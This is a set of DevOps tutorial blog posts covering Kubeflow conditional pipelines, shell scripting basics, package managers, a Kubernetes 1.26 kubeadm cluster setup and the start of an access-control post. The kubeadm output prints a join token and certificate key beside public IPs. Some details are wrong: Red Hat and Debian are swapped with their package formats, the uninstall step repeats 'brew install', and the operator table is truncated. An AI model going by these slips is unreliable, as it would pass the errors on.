At the moment, all steps we define in the pipeline are run. One way to get around this would be to make a wrapper pipeline step and run some conditional in that however, this becomes difficult to implement for larger pipelines. With Kubeflow Pipelines we can make use of conditional executions via `kfp.dsl.Condition`.

Here is a very simple example taken from the samples showing conditional execution:

```py
import kfp
from kfp import dsl
from kfp.components import func_to_container_op, InputPath, OutputPath


@func_to_container_op
def get_random_int_op(minimum: int, maximum: int) -> int:
    """Generate a random number between minimum and maximum (inclusive)."""
    import random

    result = random.randint(minimum, maximum)
    print(result)
    return result


@func_to_container_op
def process_small_op(data: int):
    """Process small numbers."""
    print("Processing small result", data)
    return


@func_to_container_op
def process_medium_op(data: int):
    """Process medium numbers."""
    print("Processing medium result", data)
    return


@func_to_container_op
def process_large_op(data: int):
    """Process large numbers."""
    print("Processing large result", data)
    return


@dsl.pipeline(
    name="Conditional execution pipeline",
    description="Shows how to use dsl.Condition().",
)
def conditional_pipeline():
    number = get_random_int_op(0, 100).output
    with dsl.Condition(number < 10):
        process_small_op(number)
    with dsl.Condition(number > 10 and number < 50):
        process_medium_op(number)
    with dsl.Condition(number > 50):
        process_large_op(number)
```

We start by building all the steps we need in the same way as we did earlier and while running the pipeline we just use `dsl.Condition` to identify the steps we want to run.

## Conclusion

Thank you for sticking with me until the end. I hope that you've taken away a thing or two about Kubeflow Pipelines, and how they work, and enjoyed reading this. If you learned something new or enjoyed reading this article, please share it so that others can see it. Until then, see you in the next post!

We will take forward what we talk about in this article in the next article in this series where we will take a deeper dive into Kubeflow Pipelines, until then, adieu!

You can also find me on Twitter [@rishit\_dagli](https://twitter.com/rishit_dagli), where I tweet about machine learning, and open-source.

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Automate repetitive tasks - Shell Scripting

- Canonical: https://blog.kubesimplify.com/automate-repetitive-tasks-shell-scripting
- Published: 2022-12-21

# Introduction to Shell

In simple terms, a shell is an interface that accepts user input in the form of commands and passes it on to an operating system and gives output.  
It is a medium between the user and the operating system to communicate with each other.

The popular shells used on Linux are:

1.  C Shell (csh)
    
2.  Kron Shell (ksh)
    
3.  Z Shell(zsh)
    

![Shell.png](/img/blog/automate-repetitive-tasks-shell-scripting/J6Sz1lSbE.png align="left")

# Prerequisites

Before discussing shell-scripting, we will discuss one real-life example i.e. just imagine you want to interact with someone in you should know the **language**. In a simple manner, if we want to learn shell scripting we should know **some basic Linux commands**.

To learn about Linux commands, there are many blogs you can refer like these two blogs on Linux Commands by [Aayush](https://superaayush.hashnode.dev/get-started-with-linux) and [Bishal](https://blog.kubesimplify.com/essential-linux-commands-for-devops)

# Jump into the world of Shell Scripting

Now, we are done with learning some basic Linux commands using these referred blogs. So, we are fully ready to learn Shell Scripting.

Shell Scripting is basically a list of commands which are listed in the order of execution to do specific tasks.

## Shell Scripting Shebang #!

This `#!` is called shebang or hashbang.  
It is used to tell the kernel which interpreter should be used to run the commands present in the file.  
For example `#!/bin/bash` It means the interpreter should be of the bash shell. `#!/bin/zsh` Here, this means the interpreter should be of z-shell.

## First Script

In the below example, this is how our first script looks like

```bash
#!/bin/zsh
# This is a comment!
echo "Hey KubeSimplify!"
```

The first line tells Unix that the file is to be executed by /bin/zsh. It means the interpreter should be of z-shell.  
The second line comprised of this `#` tells that it is a comment and it is completely ignored by the shell.  
The third is comprised of this `echo` command that is used to display a line of text/string that is passed as an argument.

How we are going to execute this?

Firstly create any folder where we are going to write our script files. Here, we are going to create our first script named **first.zsh** using **touch.**

![](/img/blog/automate-repetitive-tasks-shell-scripting/IN2bM2_Mn.png align="center")

Now, use **vi editor**, we are going to create some scripts in our file **first.zsh**

![](/img/blog/automate-repetitive-tasks-shell-scripting/XHDVgZCu6.png align="center")

Yay! Let's write our first script!

![](/img/blog/automate-repetitive-tasks-shell-scripting/eEedXjv7r.png align="center")

Now, run it with chmod u+x name\_of\_script in order to make **the file executable.**

![](/img/blog/automate-repetitive-tasks-shell-scripting/X2eNtiXjL.png align="center")

You are done with your first script, and now we will learn about Variables.

## Variables

Variables are like a box that is used to assign some values and that value can be of any type number, string or float.  
Syntax of variable:

```bash
#!/bin/zsh
best_community="Kubesimplify" 
echo $best_community
```

There should not be any space between the variable name and value. We can access the value of that particular variable by using this dollar `$` sign.

## Operators

### Arithmetic Operators

| Operator | Define | Usage |
| --- | --- | --- |
| + | Addition | a+b |
| \- | Subtraction | a-b |
| \* | Multiplication | a\*b |
| / | Division | a/b |
| % | Modulus | a%b |
| \= | Assignment | a=value |

### Relational Operators

| Operator | Define | Usage |
| --- | --- | --- |
| \-eq | It checks the value of two operands, and it will return true if both operands' value are equal. | $a -eq $b |
| \-ne | It checks the value of two operands, and it will return true if both operands' values are not equal. | $a -ne$b |
| \-ge | It checks the value of the left operands is greater than or equal to the value of the right operand, then it will return true. | $a -ge$b |
| \-le | operand, | $a -le$b |
| \-gt | operand, | $a -gt$b |
| \-lt | operand, | $a -lt$b |

### String Operators

| Operator | Define | Usage |
| --- | --- | --- |
| \= | It checks if two strings are equal or not, if they equal to each other, it returns **true.** | $string1=string2 |
| != | It checks if two strings are not equal, if it will not equal to each other, it will return **true.** | $string1!=$string2 |
| \-z | It will check if a given string operand size is zero (0), and then it will return **true.** | \-z $String |
| \-n | It will check if a given string operand size is non-zero, and then it will return **true.** | \-n $String |

### File Operators

| Operator | Define | Usage |
| --- | --- | --- |
| \-d | It checks if the file is a directory, if it is a directory then it will return true. | \-d $filename |
| \-f | It checks if the file is an ordinary file or not, if it is an ordinary file then it will return true. | \-f $filename |
| \-s | It checks if the file exists and is not empty, if it is not empty it will return true. | \-s $filename |
| \-x | It checks if the file is executable or not, if it is executable it will return true. | \-x $filename |
| \-w | It checks if the file is writable or not, if it is writable it will return true. | \-w $filename |
| \-r | It checks if the file is in a readable format, if it is in readable form, it will return true. | \-r $filename |

## Conditionals

You can use **conditional statements** in your shell script to decide what to do in response to a condition or test.

### If Statements

It is used to execute different instructions if the provided condition is true, otherwise, the task will not be carried out.

```bash
if [ <condition> ]
then
      <command>
fi
```

### If and else Statements

This is also similar to the if statements described above, but it additionally allows for a condition to be performed if the condition is not true. If the condition is false, the command or combination of commands () between `else and fi` will be run.

```bash
if [ <condition/test> ]
then
      <command1>
else
      <command2>
fi
```

### **If elif else**

This is used to work on different conditions statements.

```bash
if [ <condition1> ]
then
      <command1>
elif [ <condition2> ]
then
      <command2>
elif [ <condition3> ]
then
      <command3>
elif [ <condition4> ]
then
      <command4>
else
      <command>
fi
```

## Loops

### For

```bash
for item in LIST #Starting for loop
do
COMMANDS #Write commands
done
```

### Do while

```bash
while [ condition ]
do
   command1
   command2
   commandN
done
```

## Functions

With the help of functions, we can divide a script's overall functionality into more manageable, logical sections that can be used separately as needed.

Let's look into "how to create functions". It is no way different rather than creating your normal functions.

```bash
#!/bin/zsh

# Function defining
KubeSimplify () {
   echo "KubeSimplify is the best community for DevOps"
}

# Function Calling
KubeSimplify
```

# Uses

![](/img/blog/automate-repetitive-tasks-shell-scripting/mTlxWVxQe.png align="center")

# Resources

[freeCodeCamp Article](https://www.freecodecamp.org/news/shell-scripting-crash-course-how-to-write-bash-scripts-in-linux/)

# Conclusion

In this blog, we have learned about Shell Scripting. Just try some hands-on shell scripting and create some amazing scripts just to automate your tasks. To learn more about these awesome topics, follow [KubeSimplify Simplify DevOps Series](https://youtu.be/_jWadxLDu50). Don't forget to like and share this post if you liked this blog. Connect with me on [Twitter](https://twitter.com/bhavya_58). Follow me for more such blogs.

**THANKS FOR READING 😄📖!!**

[Bhavya Sachdeva👩‍💻](https://hashnode.com/@bhavyastar)  
  
Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Managing your Operating System with Package Managers.

- Canonical: https://blog.kubesimplify.com/managing-your-operating-system-with-package-managers
- Published: 2022-12-16

# What is a Package?

Before actually learning about package managers, let us put some light on what is a package.

Almost every Linux and Unix-based software program is passed as packages, these are nothing but archives containing the pre-compiled binary software files, installation instructions, configuration information, and other software-related information.

If in today's world I ask you to download software, you would probably visit the website of the tools and click the download button to get it in your local system. But ever wondered what use to happen before this function was introduced?

Back then, software was installed from source code. Users have to jump to a file and check for the software requirements a particular tool needs to function completely, including stuff like binary locations, memory locations, and versions. To perform all these tasks, users used to create a configure script or makefile and then compile the software based on their needs by providing different conditions and handling all the dependencies on their own.

To overcome all this hard work and complex steps, Linux distributions started creating ready-to-use binary files for installing software together with certain information (version number, description, and dependencies).

Both Red Hat Linux and Debian invented the `.deb` or DEB packaging format and the `.rpm` or RPM packaging system, respectively. You require a package manager in order to interface with or use the packaging systems.

# What are Package Managers?

Let's try to relate the term and understand it with a real-world example.

Consider Linux as a small boy, it is understood amongst us all that a small boy needs someone to help him learn various new traits such as walking, talking etc. That someone always ready to help are the parents of that small boy without him asking to do so.  
In the same way, package managers act as parents of Linux to install, upgrade and remove software automatically.

Package Managers are those set of software tools that automates the installation, upgrade, configuration, and deletion of software packages within an operating system. The responsibility of a package manager is to provide an interface that helps the user manage the set of installed packages on their system.

# Package Managers for different Operating Systems

For various operating systems, there are many types and styles of package managers, as we shall soon learn in this article.

Here are some of the common package managers for different operating systems:

## \- Linux:

Here are some of the Package Managers for various Linux Distributions:

![Screenshot 2022-12-03 at 11.22.20 PM.png](/img/blog/managing-your-operating-system-with-package-managers/ynSa-yQVT.png align="left")

## \- macOS:

There is no default package manager installed on macOS, but the user can install one of the most used package manager named **Homebrew**.

MacPorts and Fink are some alternatives.

## \- Windows:

Early windows used a third-party package manager named **Chocolatey**. But now Microsoft created its own package manager called **Windows Package Manager(winget)** which can be used virtually by anyone that uses Windows 10 or Windows 11.

# Are Package Managers only specific to an Operating System?

Package Managers is not a generic concept, and it’s not exclusive to Linux. There are various software that has a package manager supporting their back to help them with various functions.

If you are someone who has been working on projects that involve coding languages such as **Python** or **Java**, you have probably used a package (dependency) manager by the name of **pip** or **maven**

List of various languages using package (dependency) manager:

![Screenshot 2022-12-12 at 7.13.29 PM.png](/img/blog/managing-your-operating-system-with-package-managers/zfNcAafYH.png align="left")

# Workings of a Package Manager

This is the overall visualization of how a package manager works:

![Working PM.png](/img/blog/managing-your-operating-system-with-package-managers/hKwdlTaDy.png align="left")

Let's try to understand the process shown in the above picture

Let us assume that you are a developer using a package manager for doing various stuff. There are software repositories, which are essentially collections of software packages. Software packages of various types can be found in the repository. These repositories contain all the details related to a package such as - name, description, dependencies, version, etc.

Whenever you use a package manager in your local system, it first collects the data from the online repository. Before using the package manager to complete tasks, it is advised to run the command with the `update` flag to update the package manager with the latest version. After you run the command (package manager name) followed by **the update** keyword, the package manager fetches all the latest data from the repository which is uploaded to a provider and is ready for further use.

Moving ahead, when a developer starts using the package manager to fulfill the tasks, the package manager refers to the data that is being fetched by running the update keyword with the command to complete the required task.

# Examples of Package Managers

## 1\. Linux (Ubuntu):

Since I am using a playground by killercoda for running Ubuntu, I will be using `apt` as a package manager.

Before actually using apt to complete tasks, let us just update it:

```plaintext
apt update
```

![Screenshot 2022-12-13 at 2.42.44 PM.png](/img/blog/managing-your-operating-system-with-package-managers/BppqMuxtQ.png align="left")

We can easily see that `apt` has fetched the metadata from the repositories that are located somewhere on the official Ubuntu website.

Now, let us try to install another package manager named [aptitude](https://manpages.ubuntu.com/manpages/xenial/man8/aptitude-curses.8.html) using **apt**.

Before that, let's check if the package manager is already present in the system by running **aptitude help** in our CLI:

```plaintext
aptitude help
```

![Screenshot 2022-12-13 at 3.07.21 PM.png](/img/blog/managing-your-operating-system-with-package-managers/9Iq1E43Xy.png align="left")

As we see that bash is throwing the error and cannot find any file or directory of such name. So let us run the command **apt install aptitude**:

```plaintext
apt install aptitude
```

![Screenshot 2022-12-13 at 3.09.41 PM.png](/img/blog/managing-your-operating-system-with-package-managers/t-0I20CWe.png align="left")

We see that the package along with the dependencies has been installed in our local system and to verify let us run the **aptitude help** again:

![Screenshot 2022-12-13 at 3.13.45 PM.png](/img/blog/managing-your-operating-system-with-package-managers/PSUYZW0IS.png align="left")

Now we can see that the package manager has been installed successfully and is working. Now if you want to uninstall the package you simply run **apt remove aptitude** and after running this command when you try to call aptitude again it will throw an error of no such file found:

```plaintext
apt remove aptitude
```

![Screenshot 2022-12-13 at 3.16.56 PM.png](/img/blog/managing-your-operating-system-with-package-managers/nLxGIEykq.png align="left")

## 2\. macOS:

As discussed, macOS does not have any default package manager installed, so will be using **Homebrew** as a package manager to run an example. To install Homebrew in your local system, you can refer to this website → [brew.sh](https://brew.sh/).

Let us just follow the old tradition of updating the package manager before using it for the actual task and to do that just hit **brew update** in your CLI:

```plaintext
brew update
```

![Screenshot_2022-12-13_at_3.46.33_PM.png](/img/blog/managing-your-operating-system-with-package-managers/ha1OqaRsk.png align="left")

Let us install minikube using brew:

```plaintext
brew install minikube
```

![Screenshot_2022-12-13_at_3.56.59_PM.png](/img/blog/managing-your-operating-system-with-package-managers/hrBFJO1A9f.png align="left")

To check if minikube is installed, we can run **minikube verison**:

```plaintext
minikube version
```

![Screenshot_2022-12-13_at_3.58.18_PM.png](/img/blog/managing-your-operating-system-with-package-managers/-nBg1g2ka.png align="left")

It is seen in the above image that the minikube is successfully installed and now to remove it from the system just hit **brew uninstall minikube**:

```plaintext
brew install minikube
```

![Screenshot_2022-12-13_at_3.59.33_PM.png](/img/blog/managing-your-operating-system-with-package-managers/A6Q6OpH_S.png align="left")

In the above image, it is confirmed that minikube is uninstalled as when you try to run **minikube version** it throws an error(minikube not found).

## 3\. Windows:

**winget** is the package manager provided by windows. To check if winget is installed in your system, just open the command prompt and run winget --help:

```plaintext
winget --help
```

![2022-12-12.png](/img/blog/managing-your-operating-system-with-package-managers/g1zopjCVb.png align="left")

Let us try to install Mozilla Firefox using winget in Windows system by using **winget install** command:

```plaintext
winget install Mozilla.Firefox
```

![2022-12-12 (3).png](/img/blog/managing-your-operating-system-with-package-managers/yUD3aX71i.png align="left")

It will ask for some administrator permissions:

![2022-12-12 (2).png](/img/blog/managing-your-operating-system-with-package-managers/sVCm4QlYF.png align="left")

![2022-12-12 (1).png](/img/blog/managing-your-operating-system-with-package-managers/N-G5rG95G.png align="left")

In the same way, you can use winget to uninstall packages by running **winget unistall** command:

```plaintext
winget uninstall Mozilla.Firefox
```

![2022-12-12 (4).png](/img/blog/managing-your-operating-system-with-package-managers/5OKzqQRwS.png align="left")

# Resources

*   [Package Management | Ubuntu](https://ubuntu.com/server/docs/package-management)
    
*   [Homebrew](https://brew.sh/)
    
*   [Windows Package Manager](https://learn.microsoft.com/en-us/windows/package-manager/)
    

# Conclusion

In this article, we learned about packages and various Package managers. There you are at the end of this blog post, I hope this blog helps you understand Package Managers. Don't forget to like and share this post if you liked this blog. Connect with me on [Twitter](https://twitter.com/SuperAayush14). Follow me for more such blogs.

**THANKS FOR READING 😄📖!!**

**#LEARNINPUBLIC** **#LEARNWHILEDOING**

[**Aayush Sharma 👨🏻‍💻**](https://superaayush.github.io/Portfolio/)

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Kubernetes 1.26 - The electrifying release setup

- Canonical: https://blog.kubesimplify.com/kubernetes-126
- Published: 2022-12-14

![](/img/blog/kubernetes-126/S_Te2z2Ba.png align="center")

Kubernetes 1.26 was released four days ago; a huge thanks to the release team for pulling off this awesome release!

This release includes:

*   37 Enhancement
    
*   11 graduating to stable
    
*   10 graduating to beta
    
*   16 coming into alpha
    

Some highlights

*   The new release images will now be under [registry.k8s.io](http://registry.k8s.io) - This will provide faster downloads and also removes a single point of failure.
    
    ```yaml
    kubeadm init --image-repository=registry.k8s.io
    ```
    
*   **CRI v1alpha2 removed -** kubelet will not register the node if the container runtime doesn't support CRI v1. So to work with Kubernetes 1.26, containerd 1.6.0 is required.
    
*   Storage improvements -
    
    1 - the [vSphere](https://github.com/kubernetes/enhancements/issues/1491) and [Azure](https://github.com/kubernetes/enhancements/issues/1885) in-tree driver migration to CSI have graduated to Stable.
    
    2 - With 1.26 CSI drivers now have the option to apply the `fsGroup` settings during attach or mount time of the volumes.
    
    3 - GlusterFs and OpenStack cinder in-tree storage is removed in this release.
    
*   Kuberentes release signing - graduates to beta and binaries now ship additional `*.sig` (signature) and `*.cert` (certificate) files side by side with the artifacts for verifying their integrity.
    
*   Not a Windows fan but I think this is also highlighted as a major feature in the release - Support for running privileged containers on windows nodes graduates to beta.
    
*   **Kubernetes metrics** include significant improvements: The framework moves to alpha with all the metrics documented [here](https://kubernetes.io/docs/reference/instrumentation/metrics/). `/metrics/slis` for Kubernetes binaries for better health dashboards of Kubernetes components.
    
*   PodSchedulingReadiness - You can now specify using the new `schedulinggates` feature in the pod to mark the pod as `SchedulingGated`.
    
*   nodeInclusionPolicy moves to beta - this is to indicate whether to take taints/tolerations into consideration when calculating Pod Topology Spread skew.
    
*   Loadbalancers can now use multiple protocols like UDP and TCP both.
    
*   Dynamic resource allocation will let the pods use external hardware resources
    

Many other features can be read [here](https://kubernetes.io/blog/2022/12/09/kubernetes-v1-26-release/).

Now that we know some of the cool features, let's set up a Kubernetes cluster on Ubuntu 20.04 machines for version 1.26.

Prerequisites

*   4 Ubuntu 20.04 instances with ssh access to them, you can use any cloud provider to launch these instances
    
*   Each instance should have a minimum of 4GB of ram
    

Here I have 4 instances in place

<table><tbody><tr><td colspan="1" rowspan="1"><p><strong>controlplane</strong></p></td><td colspan="1" rowspan="1"><p>74.220.27.73</p></td></tr><tr><td colspan="1" rowspan="1"><p>worker1</p></td><td colspan="1" rowspan="1"><p>74.220.24.61</p></td></tr><tr><td colspan="1" rowspan="1"><p>worker2</p></td><td colspan="1" rowspan="1"><p>74.220.27.7</p></td></tr><tr><td colspan="1" rowspan="1"><p>worker3</p></td><td colspan="1" rowspan="1"><p>74.220.30.68</p></td></tr></tbody></table>

Let's being!!

## **Step 1 - Run this on all the machines**

**Kubeadm | kubectl | kubelet install**

```bash
curl -s https://packages.cloud.google.com/apt/doc/apt-key.gpg | sudo apt-key add -
echo "deb https://apt.kubernetes.io/ kubernetes-xenial main" | sudo tee /etc/apt/sources.list.d/kubernetes.list
sudo apt update -y
sudo apt -y install vim git curl wget kubelet=1.26.0-00 kubeadm=1.26.0-00 kubectl=1.26.0-00
sudo apt-mark hold kubelet kubeadm kubectl
```

Load the br_netfilter module and let iptables see bridged traffic

```bash
sudo modprobe overlay
sudo modprobe br_netfilter
sudo tee /etc/sysctl.d/kubernetes.conf<<EOF
net.bridge.bridge-nf-call-ip6tables = 1
net.bridge.bridge-nf-call-iptables = 1
net.ipv4.ip_forward = 1
EOF
sysctl --system
```

**Setup Containerd**

```bash
cat <<EOF | sudo tee /etc/modules-load.d/containerd.conf
overlay
br_netfilter
EOF

sudo modprobe overlay
sudo modprobe br_netfilter

# Setup required sysctl params, these persist across reboots.
cat <<EOF | sudo tee /etc/sysctl.d/99-kubernetes-cri.conf
net.bridge.bridge-nf-call-iptables  = 1
net.ipv4.ip_forward                 = 1
net.bridge.bridge-nf-call-ip6tables = 1
EOF

# Apply sysctl params without reboot
sudo sysctl --system

#Install and configure containerd 
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"
sudo apt update -y
sudo apt install -y containerd.io
sudo mkdir -p /etc/containerd
containerd config default | sudo tee /etc/containerd/config.toml

#Start containerd
sudo systemctl restart containerd
sudo systemctl enable containerd
```

Above will install contained version `1.6.12-1`.

**Pull the images**, pulls the images for Kubernetes 1.26 version.

```bash
sudo kubeadm config images pull --image-repository=registry.k8s.io --cri-socket unix:///run/containerd/containerd.sock --kubernetes-version v1.26.0
```

## **Step2 - Run the kubeadm init command on the control plane node**

Here the pod network CIDR is dependent on the CNI you will be installing later on, so in this case, I am using flannel, and `--control-plane-endpoint` will be the public IP for the instance (it can be private IP as well but if you want to access it from outside the node by using Kubeconfig then you need to give the public IP).

```bash
sudo kubeadm init --pod-network-cidr=10.244.0.0/16 --upload-certs --kubernetes-version=v1.26.0 --control-plane-endpoint=74.220.27.73 --cri-socket unix:///run/containerd/containerd.sock
```

The above command will give the following output

```bash
[init] Using Kubernetes version: v1.26.0
[preflight] Running pre-flight checks
[preflight] Pulling images required for setting up a Kubernetes cluster
[preflight] This might take a minute or two, depending on the speed of your internet connection
[preflight] You can also perform this action in beforehand using 'kubeadm config images pull'
[certs] Using certificateDir folder "/etc/kubernetes/pki"
[certs] Generating "ca" certificate and key
[certs] Generating "apiserver" certificate and key
[certs] apiserver serving cert is signed for DNS names [kube-1-1-1-26-1-5b02-7bcf18 kubernetes kubernetes.default kubernetes.default.svc kubernetes.default.svc.cluster.local] and IPs [10.96.0.1 192.168.1.21 74.220.27.73]
[certs] Generating "apiserver-kubelet-client" certificate and key
[certs] Generating "front-proxy-ca" certificate and key
[certs] Generating "front-proxy-client" certificate and key
[certs] Generating "etcd/ca" certificate and key
[certs] Generating "etcd/server" certificate and key
[certs] etcd/server serving cert is signed for DNS names [kube-1-1-1-26-1-5b02-7bcf18 localhost] and IPs [192.168.1.21 127.0.0.1 ::1]
[certs] Generating "etcd/peer" certificate and key
[certs] etcd/peer serving cert is signed for DNS names [kube-1-1-1-26-1-5b02-7bcf18 localhost] and IPs [192.168.1.21 127.0.0.1 ::1]
[certs] Generating "etcd/healthcheck-client" certificate and key
[certs] Generating "apiserver-etcd-client" certificate and key
[certs] Generating "sa" key and public key
[kubeconfig] Using kubeconfig folder "/etc/kubernetes"
[kubeconfig] Writing "admin.conf" kubeconfig file
[kubeconfig] Writing "kubelet.conf" kubeconfig file
[kubeconfig] Writing "controller-manager.conf" kubeconfig file
[kubeconfig] Writing "scheduler.conf" kubeconfig file
[kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet-start] Starting the kubelet
[control-plane] Using manifest folder "/etc/kubernetes/manifests"
[control-plane] Creating static Pod manifest for "kube-apiserver"
[control-plane] Creating static Pod manifest for "kube-controller-manager"
[control-plane] Creating static Pod manifest for "kube-scheduler"
[etcd] Creating static Pod manifest for local etcd in "/etc/kubernetes/manifests"
[wait-control-plane] Waiting for the kubelet to boot up the control plane as static Pods from directory "/etc/kubernetes/manifests". This can take up to 4m0s
[apiclient] All control plane components are healthy after 7.507032 seconds
[upload-config] Storing the configuration used in ConfigMap "kubeadm-config" in the "kube-system" Namespace
[kubelet] Creating a ConfigMap "kubelet-config" in namespace kube-system with the configuration for the kubelets in the cluster
[upload-certs] Storing the certificates in Secret "kubeadm-certs" in the "kube-system" Namespace
[upload-certs] Using certificate key:
74bfd9237ded9661ca3ee337057caba0be417c19b6493034ec0da3dbcffc8fff
[mark-control-plane] Marking the node kube-1-1-1-26-1-5b02-7bcf18 as control-plane by adding the labels: [node-role.kubernetes.io/control-plane node.kubernetes.io/exclude-from-external-load-balancers]
[mark-control-plane] Marking the node kube-1-1-1-26-1-5b02-7bcf18 as control-plane by adding the taints [node-role.kubernetes.io/control-plane:NoSchedule]
[bootstrap-token] Using token: 3y24ca.kq73lohh99nzmcl5
[bootstrap-token] Configuring bootstrap tokens, cluster-info ConfigMap, RBAC Roles
[bootstrap-token] Configured RBAC rules to allow Node Bootstrap tokens to get nodes
[bootstrap-token] Configured RBAC rules to allow Node Bootstrap tokens to post CSRs in order for nodes to get long term certificate credentials
[bootstrap-token] Configured RBAC rules to allow the csrapprover controller automatically approve CSRs from a Node Bootstrap Token
[bootstrap-token] Configured RBAC rules to allow certificate rotation for all node client certificates in the cluster
[bootstrap-token] Creating the "cluster-info" ConfigMap in the "kube-public" namespace
[kubelet-finalize] Updating "/etc/kubernetes/kubelet.conf" to point to a rotatable kubelet client certificate and key
[addons] Applied essential addon: CoreDNS
[addons] Applied essential addon: kube-proxy

Your Kubernetes control-plane has initialized successfully!

To start using your cluster, you need to run the following as a regular user:

  mkdir -p $HOME/.kube
  sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
  sudo chown $(id -u):$(id -g) $HOME/.kube/config

Alternatively, if you are the root user, you can run:

  export KUBECONFIG=/etc/kubernetes/admin.conf

You should now deploy a pod network to the cluster.
Run "kubectl apply -f [podnetwork].yaml" with one of the options listed at:
  https://kubernetes.io/docs/concepts/cluster-administration/addons/

You can now join any number of the control-plane node, running the following command on each as root:

  kubeadm join 74.220.27.73:6443 --token 3y24ca.kq73lohh99nzmcl5 \
	--discovery-token-ca-cert-hash sha256:f22dadb9c02bd9ac69b1819cbeaa11330ee70bb5fb6343f8b8a288b9ea83b00f \
	--control-plane --certificate-key 74bfd9237ded9661ca3ee337057caba0be417c19b6493034ec0da3dbcffc8fff

Please note that the certificate-key gives access to cluster sensitive data, keep it secret!
As a safeguard, uploaded-certs will be deleted in two hours; If necessary, you can use
"kubeadm init phase upload-certs --upload-certs" to reload certs afterward.

Then you can join any number of worker nodes by running the following on each as root:

kubeadm join 74.220.27.73:6443 --token 3y24ca.kq73lohh99nzmcl5 \
	--discovery-token-ca-cert-hash sha256:f22dadb9c02bd9ac69b1819cbeaa11330ee70bb5fb6343f8b8a288b9ea83b00f 
```

**Export KUBECONFIG and install CNI Flannel**

```bash
mkdir -p $HOME/.kube
sudo cp -i /etc/kubernetes/admin.conf $HOME/.kube/config
sudo chown $(id -u):$(id -g) $HOME/.kube/config
export KUBECONFIG=/etc/kubernetes/admin.conf
kubectl apply -f https://github.com/coreos/flannel/raw/master/Documentation/kube-flannel.yml
```

## **Step 3 - Run the join command on all the worker nodes**

```bash
kubeadm join 74.220.27.73:6443 --token 3y24ca.kq73lohh99nzmcl5 \
> --discovery-token-ca-cert-hash sha256:f22dadb9c02bd9ac69b1819cbeaa11330ee70bb5fb6343f8b8a288b9ea83b00f
[preflight] Running pre-flight checks
[preflight] Reading configuration from the cluster...
[preflight] FYI: You can look at this config file with 'kubectl -n kube-system get cm kubeadm-config -o yaml'
[kubelet-start] Writing kubelet configuration to file "/var/lib/kubelet/config.yaml"
[kubelet-start] Writing kubelet environment file with flags to file "/var/lib/kubelet/kubeadm-flags.env"
[kubelet-start] Starting the kubelet
[kubelet-start] Waiting for the kubelet to perform the TLS Bootstrap...

This node has joined the cluster:
* Certificate signing request was sent to apiserver and a response was received.
* The Kubelet was informed of the new secure connection details.

Run 'kubectl get nodes' on the control-plane to see this node join the cluster.
```

## **Step 4 - Nginx Test**

You can copy the kubeconfig file from the controlplane node(~/.kube/config ) to local and export the KUBECONFIG variable or directly access the cluster from the controlplane node.

```bash
kubectl get nodes
NAME                          STATUS   ROLES           AGE    VERSION
kube-1-1-1-26-1-5b02-7bcf18   Ready    control-plane   4m1s   v1.26.0
kube-1-1-1-26-2-c673-7bcf18   Ready    <none>          59s    v1.26.0
kube-1-1-1-26-3-be3b-7bcf18   Ready    <none>          54s    v1.26.0
kube-1-1-1-26-4-dc16-7bcf18   Ready    <none>          52s    v1.26.0
```

The cluster is up and running with a single control plane and 3 worker nodes.

Now run nginx

```bash
kubectl run nginx --image=nginx
pod/nginx created

kubectl expose pod nginx --type=NodePort --port 80
service/nginx exposed

kubectl get pods
NAME    READY   STATUS    RESTARTS   AGE
nginx   1/1     Running   0          10s

kubectl get svc nginx
NAME    TYPE       CLUSTER-IP     EXTERNAL-IP   PORT(S)        AGE
nginx   NodePort   10.109.33.40   <none>        80:32573/TCP   10s
```

Access the service using Node public IP:32573 (make sure your firewall rules are properly set to allow traffic to required ports)

![](/img/blog/kubernetes-126/WvTrnEGHg.png align="center")

YAY!! You have successfully set up a self-managed Kubernetes cluster, version 1.26.0 and containerd as the container runtime.

[Saiyam Pathak](https://twitter.com/SaiyamPathak) created a Killercoda playground with Kubernetes 1.26. Give it a try -> [K8s 1.26 playground](https://killercoda.com/saiyampathak/scenario/kube126)

Follow Kubesimplify on [Hashnode](https://kubesimplify.com/), [Twitter](https://twitter.com/kubesimplify) and [LinkedIn](https://www.linkedin.com/company/kubesimplify/). Join our [Discord](kubesimplify.com/discord) server to learn with us.

---

# Kubernetes Access Control with Authentication, Authorization & Admission Control

- Canonical: https://blog.kubesimplify.com/kubernetes-access-control-with-authentication-authorization-admission-control
- Published: 2022-12-12

Hey! are you using kubernetes? Have you ever wondered how a simple request you make, as a user gives you access to various Kubernetes objects like pods and deployments? "Access control", thats how everything works! 🤔

In this blog, lets learn what access control is and how K8s manages access permissions behind the scenes. So, let's get started ! 🔗

Suppose, you are travelling from your country to another country, and you don't have any permission to enter into that country. So firstly you have to **authenticate** yourself (who you are) to that country by your identity ex:- passport. Then you have to get **authorization** to enter into that country by your Visa and after that you still have to go through some customs checking which is admission control for k8s to successfully enter into that country. This is exactly what happens for kubernetes access control to get enter permission to the k8s cluster. Likewise, a user must be authenticated first, and then the particular user must be authorized to access the resources of Kubernetes. We will be using minikube cluster & kubectl cli in this blog for example.

#### All Kubernetes clusters have two categories of users:-

*   service accounts managed by Kubernetes
    
*   normal users account
    

### Normal users account

Kubernetes does not have objects which represent normal user accounts. Normal users cannot be added to a cluster through an API call. They need to go through the access control processes to get added to the cluster. 

